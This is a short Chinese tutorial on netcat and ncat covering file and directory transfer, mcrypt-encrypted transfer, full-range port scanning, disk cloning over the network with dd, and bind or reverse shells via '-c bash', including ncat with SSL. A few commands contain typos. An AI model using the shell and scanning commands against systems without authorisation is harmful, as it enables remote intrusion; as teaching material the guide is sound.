NC与NCat

NC

NC的一些功能

侦听模式 / 传输模式

telnet / 获取banner信息

传输文本信息

传输文件/目录

加密传输文文件

远程控制/木马

加密所有流量

流媒体服务器

远程克隆硬盘

传输文件

A: nc -lp 333 > 1.mp4

B: nc -nv 1.1.1.1 333 < 1.mp4  -q 1

 或

A: nc - q 1 -lp 333 < a.mp4

B: nc -nv 1.1.1.1 333 > 2．mp4

传输目录

A ： tar -cvf - music/ | nc -lp 333 —q 1

B ： nc-nv 1.1.1.1  333 | tar -xvf-

加密传输文件

       命令用到的参数有，--flush 立即冲洗输出，-F 输出数据，-b 不保留算法信息，-q 关闭一些非严重的警告，-d 解密

A ： nc -lp 333  | mcrypt  -flush  -Fbqd  -a rijndael-256 -m ecb > 1.mp4

B :  mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv  1.1.1.1 333-q 1

扫描端口

nc -nvz 1.1.1.1 1-65535

所有端口全扫一遍，默认探测TCP端口

nc -nvzu 1.1.1.1 1-65535

            所有端口全扫一遍，默认探测UDP端口， 1-65535表示扫面端口的范围

远程克隆硬盘

A： nc -lp 333 | dd of=/dev/sdaB: ddif=/dev/sda | nc -nv 1.1.1.1 333 -q 1

远程控制

方法一：在服务器端：nc -lp 333（打开的端口）

在客户端：nc -nv （服务器IP） 333 -c bash

将客户端的bash传给了服务器

方法二：在服务器端：nc -lp 333（打开的端口）-c bash

在客户端：nc -nv （服务器IP） 333

将服务器端的bash传给了客户端

NCat

功能：用来弥补NC缺乏加密、身份验证的能力

服务器端侦听333端口：

Ncat -c bash --allow 192.168.1.119(IP)      -nvl      333    --ssl

（身份验证）允许此IP来连接我                             使用ssl来加密

客户端：

Ncat -nv 192.168.1.115 333 --ssl